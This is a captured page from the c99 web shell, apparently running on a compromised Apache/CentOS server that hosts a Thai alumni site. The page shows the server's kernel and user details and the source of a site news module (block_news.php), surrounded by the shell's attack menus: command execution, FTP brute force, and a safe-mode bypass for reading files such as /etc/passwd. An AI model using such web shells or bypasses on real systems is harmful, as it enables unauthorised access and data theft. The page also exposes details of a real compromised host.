!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/blocks/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     block_news.php (5.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
 (GPLv2)
	or write to the Free Software Foundation, Inc., 51 Franklin Street,
	Fifth Floor, Boston, MA02110-1301, USA.
		
********************************************************************************/

	if (stristr(htmlentities($_SERVER['PHP_SELF']), "block_news.php")) {
		die("
Error: This file cannot be opened directly!
"); } global $dblink; /* $news_result = $dblink->get_list("SELECT id,nome FROM memht_news WHERE enabled=1 ORDER BY id DESC LIMIT 20"); foreach ($news_result as $row_news) { $nid = intval($row_news['id']); $nnome = outCode($row_news['nome']); echo "\n"; } */ echo "

"; echo ""; // $news_result = $dblink->get_list("SELECT id,nome,imgfile,testo_home FROM memht_news WHERE enabled=1 ORDER BY id DESC LIMIT 5"); $news_result = $dblink->get_list("SELECT id,nome,imgfile,testo_home FROM memht_news WHERE enabled=1 ORDER BY id DESC LIMIT 6");// à»ÅÕè¹ LIMIT 5 à»ç¹ LIMIT 6 $num=0; // ¡Ó˹´¤èÒµÑÇá»Ã $num =0 foreach ($news_result as $row_news) { $nid = intval($row_news['id']); $nnome = outCode($row_news['nome']); $imgfile = outCode($row_news['imgfile']); $testo_home = outCode($row_news['testo_home']); //echo "\n"; //echo "
  $nnome
$testo_home
\n"; // echo ""; // echo ""; // ¢Öé¹á¶ÇãËÁè } // »Ô´ if echo ""; echo ""; //echo ""; //echo ""; //echo ""; //echo ""; if($num==2){ // check µÑÇá»Ã $num ÇèÒà»ç¹¤ÍÅÑÁ·ÕèÊͧ ãËé»Ô´ á¶Ç echo ""; // »Ô´ á¶Ç $num=0; // ãËé $num à·èҡѺ 0 ¤×ÍàÃÔèÁ¹Ñº ¤ÍÅÑÁ à»ç¹ 0 }//»Ô´ if } echo "
"; $num++; // à¾ÔèÁµÑÇá»Ã $num if($num==1){ // check µÑÇá»Ã $num echo "
"; // ¢Ö鹤ÍÅÑÁãËÁè if($imgfile !="" ){ echo ""; } echo " $nnome
$testo_home
"; /////////////////////////////////////////////////////////////////////////////////////////////////////////// echo '
'; echo "
ข่าวสาร
\n"; echo '
'; $result = $dblink->get_list("SELECT * FROM memht_argomenti ORDER BY nome"); foreach ($result as $row) { $aid = intval($row['id']); $nome = outCode($row['nome']); echo "   "; echo "  $nome [อ่านข่าวทั้งหมด]\n"; // new echo " "; $news_result = $dblink->get_list("SELECT id,nome,imgfile,testo_home,data FROM memht_news WHERE enabled=1 and argomento='$aid' ORDER BY id DESC LIMIT 6"); foreach ($news_result as $row_news) { $nid = intval($row_news['id']); $nnome = outCode($row_news['nome']); $imgfile = outCode($row_news['imgfile']); $testo_home = outCode($row_news['testo_home']); $data = outCode($row_news['data']); //echo "\n"; //echo "
  $nnome
$testo_home
\n"; echo ""; echo ""; echo ""; } echo "
  "; echo "$nnome [".printdate($data)."]
"; echo "
\n"; } echo "

\n"; ?>
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0168 ]--